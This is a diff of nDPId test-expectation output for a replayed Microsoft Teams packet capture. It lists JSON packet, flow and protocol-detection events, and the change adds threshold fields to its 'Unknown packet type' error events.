00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":617,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041677424406,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00750{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041678029919,"flow_src_last_pkt_time":1587041678029919,"flow_dst_last_pkt_time":1587041678029919,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041678029919,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60537,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00541{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_src_last_pkt_time":1587041678029919,"flow_dst_last_pkt_time":1587041678029919,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"thread_ts_usec":1587041678029919,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIex5Abv0H+uOAAAAALAC\/\/9XkAAAAgQFtAEDAwUBAQgKMISdwwAAAAAEAgAA"} @@ -73,7 +73,7 @@ 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":3,"flow_src_last_pkt_time":1587041678074233,"flow_dst_last_pkt_time":1587041678074133,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"thread_ts_usec":1587041678074233,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG94LAqAEGNHJNIex5Abv0H+uPO2V4UYAQEAlydQAAAQEICjCEne9hEv\/b"} 01178{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":621,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1587041678029919,"flow_src_last_pkt_time":1587041678074525,"flow_dst_last_pkt_time":1587041678074133,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041678074525,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60537,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}}} 01710{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":625,"source":"teams.pcap","alias":"nDPId-test","flow_id":9,"flow_state":"info","flow_src_packets_processed":4,"flow_dst_packets_processed":4,"flow_first_seen":1587041678029919,"flow_src_last_pkt_time":1587041678120910,"flow_dst_last_pkt_time":1587041678120987,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":206,"flow_dst_max_l4_payload_len":1440,"flow_src_tot_l4_payload_len":206,"flow_dst_tot_l4_payload_len":4203,"midstream":0,"thread_ts_usec":1587041678120987,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60537,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15": {"risk":"TLS (probably) Not Carrying HTTPS","severity":"Low","risk_score": {"total":760,"client":680,"server":80}}},"confidence": {"6":"DPI"},"proto":"TLS.Microsoft","proto_id":"91.212","encrypted":1,"breed":"Safe","category_id":13,"category":"Cloud","hostname":"mobile.pipe.aria.microsoft.com","tls": {"version":"TLSv1.2","server_names":"*.events.data.microsoft.com,events.data.microsoft.com,*.pipe.aria.microsoft.com,pipe.skype.com,*.pipe.skype.com,*.mobile.events.data.microsoft.com,mobile.events.data.microsoft.com,*.events.data.msn.com,events.data.msn.com","ja3":"a1674500365bdd882188db63730e69a2","ja3s":"ae4edc6faf64d08308082ad26be60767","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 4","subjectDN":"CN=*.events.data.microsoft.com","fingerprint":"33:B3:B7:E9:DA:25:F5:A0:04:E9:63:87:B6:FB:54:77:DB:ED:27:EB"}}} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":644,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041678611338} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041678611338,"packet_id":644,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041678611338} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":644,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041678303901,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00751{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":645,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041679059584,"flow_src_last_pkt_time":1587041679059584,"flow_dst_last_pkt_time":1587041679059584,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":41,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":41,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":41,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041679059584,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":64046,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00548{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":645,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_src_last_pkt_time":1587041679059584,"flow_dst_last_pkt_time":1587041679059584,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"thread_ts_usec":1587041679059584,"pkt":"EBMx8Tl2KDc3AG3ICABFAABFmxQAAP8RnTvAqAEGwKgBAfouADUAMTs\/p0sBAAABAAAAAAAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAE="} @@ -84,9 +84,9 @@ 00759{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":647,"source":"teams.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041679280885,"flow_src_last_pkt_time":1587041679280885,"flow_dst_last_pkt_time":1587041679280885,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041679280885,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01151{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"teams.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_src_last_pkt_time":1587041679280885,"flow_dst_last_pkt_time":1587041679280885,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":527,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":527,"pkt_l4_len":493,"thread_ts_usec":1587041679280885,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAIBMegAAEARwq7AqAEGwKgB\/0RcRFwB7bcHeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxMzMzNTg3NDkxMjE4NDQ1MzM1NDE0MzUyMjUyODU2OTU0NjIxMiwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzI3NTAzNzA1NjAsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgOTk2MzA2MjE1LCA1MzAzMzAxMjQ4LCA0MDU2NDYyNTkyLCA3MDUzNjI3MTg0LCAxNTIyMTc3NTg3LCAxNDIxMTE0Mzk5LCAxMjUyMTE2NDI5LCA5OTQ2OTc3MywgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} 00867{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":647,"source":"teams.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041679280885,"flow_src_last_pkt_time":1587041679280885,"flow_dst_last_pkt_time":1587041679280885,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":485,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":485,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":485,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041679280885,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":648,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041679406816} +00288{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041679406816,"packet_id":648,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041679406816} 00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":648,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041679280885,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":649,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041679611289} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041679611289,"packet_id":649,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041679611289} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":649,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041679280885,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00548{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_src_last_pkt_time":1587041680062816,"flow_dst_last_pkt_time":1587041679059584,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"thread_ts_usec":1587041680062816,"pkt":"EBMx8Tl2KDc3AG3ICABFAABFhq8AAP8RsaDAqAEGwKgBAfouADUAMTs\/p0sBAAABAAAAAAAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAE="} 00623{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":651,"source":"teams.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":3,"flow_src_last_pkt_time":1587041680062816,"flow_dst_last_pkt_time":1587041680074798,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"thread_ts_usec":1587041680074798,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB61LQAAEARImfAqAEBwKgBBgA1+i4AZgAAp0uBgwABAAAAAQAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAHAGwAGAAEAAAA7ACkFZG5zZG\/AGwpwb3N0bWFzdGVywBt4ZvNkAACowAAAHCAAJOoAAAACWA=="} @@ -99,16 +99,16 @@ 00849{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":665,"source":"teams.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041680294054,"flow_src_last_pkt_time":1587041680294054,"flow_dst_last_pkt_time":1587041680294054,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":36,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":36,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":36,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1587041680294054,"l3_proto":"ip4","src_ip":"93.62.150.157","dst_ip":"192.168.1.6","src_port":443,"dst_port":60512,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} 00508{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":666,"source":"teams.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":2,"flow_src_last_pkt_time":1587041680294054,"flow_dst_last_pkt_time":1587041680294170,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"thread_ts_usec":1587041680294170,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGhUbAqAEGXT6WnexgAbuQjkveAAAAAFAEAAAvzgAA"} 02003{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":667,"source":"teams.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":3,"flow_src_last_pkt_time":1587041680294649,"flow_dst_last_pkt_time":1587041680294170,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":1156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1156,"pkt_l4_len":1122,"thread_ts_usec":1587041680294649,"pkt":"KDc3AG3IEBMx8Tl2CABFAAR2CTRAAHEGRsRdPpadwKgBBgG77GBJd2aIkI5L3oAY\/\/v9PwAAAQEICsJ1bW4wg\/kbFwMDBD0AAAAAAAAABm9iu+t9XgqZR4s0F3BUPHh3OFodjBrwIjhJ5jzUDrtlDVli1SVxk270m+gEbse5EGdXD2tQPqX+uNfx4B7otIIyfqifH2S\/KFxGyKDkumEYrUX2hsTy4AvsIXg77ggsd77nUCYIUkr9Dcu1K8XBBisxPpHT+zWCDZADIu9GEbXV2\/9sowiGe8yrlpVrokOfQ1DpsHmZowwlG7Bi36UFm+L5Z6cwifqjKB8bGHxJp5qTVRJD\/elikR43sBRzkZfcKqYDSp7JYzhK3QKUfc6m5GUQ5dfnLhv5nlfAs74UtmJ5EyjXuAHe9YxanSSvzzG4JMTWGAY5tTjjtYwpZihFAGx52HToq2O+CpcbwPHV1TLQUDbT2yGJc7gM1GLG5aFGzYu4CebCnnBl2NsUqq80dM5DZBgWZFtSy9z2NYnNFnXM\/L50k82dbGP\/hbFfCNFMS6BvXhwvqUQidPN2cRmVwTsWXaFgKlMTAFoatWZ\/LRmGoWBdnNparAnK8NJzgtzGWejWpNSxsXZQ1NSy\/4QwWmZ1aiyH3lAZfsyIjqYBH478mZLwQeLwCsFzK39ybhvc8awbkRiAIoeLHCDrqRPBNhP62oMKfuuybYfQO5cgeLBcoVWj4YmTHvVqXUaiIJM0ecCweYrE28c1bMOuRYrnD6X5H1vOaut8zUARe+SwmWED1FAd9+LaLocuQm5mzrdNkB6aXE4s0lhsnmXfrvdjFstoXCwJT0nh7ITIpoT2HCapxHTDXopSW+f6iqr0aTti5yh8nUUMgZZ++9jn1o3T3lmRclm9+mgQdUUmHkA3dQCgvlVHN9ZAWzkNyqS56Hs+VXyhIUgDoTONh43ut\/yBnqLWJ6HXKcI6qe1ntdtXyoQyjYZpSOnm2uYp+6WFP8eztjtGexEu6hDqMx2fyQv\/mVl0auJxOvVANURsh9C6cu1LRWqw8SukcmJhO9ptW5iUNYclFK0BRMa7HDoqgqFCccb2WkU4sxDCVFF52CIMR33VkffteHiI9\/NgTNgZERM3tobFzsdXrDpRRXLWDage6O7fLzs8m9hERZCv46Exgndu8ho3VvbFCaZyMsnBpC0\/L6igC1xzLSs2ksZSkx5L9Q7VhMaHlPusEBUMQJ5uA6CkdGrw0a3GiTrkSUGJIGKC7WyL+yh36GZcaflqIrfqPpArwHS0O6hsLRU\/2t+Pwt19umaYcC7QuLOwfSwEr1PxrFtzW1mzlNCKarl0LmPBlPWyV5JfN4y4C1aRVZ7yV7\/4iclnIrddqAkiXdgSc+ai4OnXQhk4fgmfh+Ar5gfpmM8U2v\/X345bEZszWOszb+cdvmzW47cwiYheg59HkuZ4TWUwEFRrPkd047noDz+bhfvXLMYNCStN2XWEGpRFtvI8rpdiTmvHc7+aKDQSaaH8jzVNbso1cSOHqJjXtpeD+vrVfOMXgQ=="} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":669,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041680611341} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041680611341,"packet_id":669,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041680611341} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":669,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041680294680,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00751{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":850,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041681218709,"flow_src_last_pkt_time":1587041681218709,"flow_dst_last_pkt_time":1587041681218709,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":47,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":47,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":47,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041681218709,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":56634,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00556{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":850,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_src_last_pkt_time":1587041681218709,"flow_dst_last_pkt_time":1587041681218709,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"thread_ts_usec":1587041681218709,"pkt":"EBMx8Tl2KDc3AG3ICABFAABLUFkAAP8R5\/DAqAEGwKgBAd06ADUANyl9Kf0BAAABAAAAAAAAB2NhcHRpdmUFYXBwbGUDY29tB2VkZ2VrZXkDbmV0AAABAAE="} 01005{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":850,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041681218709,"flow_src_last_pkt_time":1587041681218709,"flow_dst_last_pkt_time":1587041681218709,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":47,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":47,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":47,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041681218709,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":56634,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":30,"category":"ConnCheck","hostname":"captive.apple.com.edgekey.net","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 00630{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":851,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":2,"flow_src_last_pkt_time":1587041681218709,"flow_dst_last_pkt_time":1587041681248693,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"thread_ts_usec":1587041681248693,"pkt":"KDc3AG3IEBMx8Tl2CABFAACAqEJAADkRFdPAqAEBwKgBBgA13ToAbAAAKf2BgAABAAIAAAAAB2NhcHRpdmUFYXBwbGUDY29tB2VkZ2VrZXkDbmV0AAABAAHADAAFAAEAAADSABkFZTcyNzkFZHNjZTkKYWthbWFpZWRnZcAmwDsAAQABAAAAFAAEFzKeWA=="} 01022{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":851,"source":"teams.pcap","alias":"nDPId-test","flow_id":15,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1587041681218709,"flow_src_last_pkt_time":1587041681218709,"flow_dst_last_pkt_time":1587041681248693,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":47,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":47,"flow_dst_max_l4_payload_len":100,"flow_src_tot_l4_payload_len":47,"flow_dst_tot_l4_payload_len":100,"midstream":0,"thread_ts_usec":1587041681248693,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":56634,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":30,"category":"ConnCheck","hostname":"captive.apple.com.edgekey.net","dns": {"num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.50.158.88"}}} -00187{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":853,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041681407197} +00288{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041681407197,"packet_id":853,"source":"teams.pcap","alias":"nDPId-test","layer_type":34969,"global_ts_usec":1587041681407197} 00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":853,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041681401604,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} -00184{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":864,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041681611328} +00285{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1587041681611328,"packet_id":864,"source":"teams.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1587041681611328} 00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":864,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1587041681458450,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} 00751{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":865,"source":"teams.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1587041681714331,"flow_src_last_pkt_time":1587041681714331,"flow_dst_last_pkt_time":1587041681714331,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":38,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":38,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":38,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1587041681714331,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51033,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00543{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":865,"source":"teams.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_src_last_pkt_time":1587041681714331,"flow_dst_last_pkt_time":1587041681714331,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"thread_ts_usec":1587041681714331,"pkt":"EBMx8Tl2KDc3AG3ICABFAABCnaYAAP8RmqzAqAEGwKgBAcdZADUALvSsiC0BAAABAAAAAAAABmV1LWFwaQNhc20Fc2t5cGUDY29tAAABAAE="} @@ -173,7 +173,7 @@ 